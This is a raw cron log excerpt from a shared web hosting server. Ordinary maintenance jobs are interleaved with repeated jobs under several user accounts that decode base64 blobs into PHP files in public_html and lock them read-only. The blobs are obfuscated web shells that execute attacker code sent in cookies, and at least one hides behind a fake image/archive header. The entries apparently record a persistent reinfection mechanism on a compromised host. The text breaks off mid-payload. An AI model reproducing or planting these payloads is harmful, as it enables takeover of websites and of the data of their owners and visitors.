"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:48:01 medusa CROND[5249]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:48:01 medusa CROND[5250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:49:01 medusa CROND[28297]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:49:01 medusa CROND[28298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:49:01 medusa CROND[28299]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:49:01 medusa CROND[28300]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:49:01 medusa CROND[28301]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:49:01 medusa CROND[28303]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:49:01 medusa CROND[28302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:49:01 medusa CROND[28306]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 07:49:01 medusa CROND[28308]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:49:01 medusa CROND[28311]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:49:01 medusa CROND[28314]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:49:01 medusa CROND[28318]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:50:01 medusa CROND[20324]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 07:50:01 medusa CROND[20325]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 07:50:01 medusa CROND[20326]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:50:01 medusa CROND[20327]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 07:50:01 medusa CROND[20330]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 07:50:01 medusa CROND[20331]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 07:50:01 medusa CROND[20340]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 07:50:01 medusa CROND[20342]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 07:50:01 medusa CROND[20343]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 07:50:01 medusa CROND[20345]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:50:01 medusa CROND[20346]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:50:01 medusa CROND[20353]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 07:50:01 medusa CROND[20356]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 07:50:01 medusa CROND[20355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:50:01 medusa CROND[20362]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 07:50:01 medusa CROND[20364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:50:01 medusa CROND[20367]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:50:01 medusa CROND[20368]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:50:01 medusa CROND[20371]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:50:01 medusa CROND[20374]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 07:50:01 medusa CROND[20375]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 07:50:01 medusa CROND[20373]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 07:50:01 medusa CROND[20380]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:50:01 medusa CROND[20379]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:50:01 medusa CROND[20382]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 07:50:01 medusa CROND[20383]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF9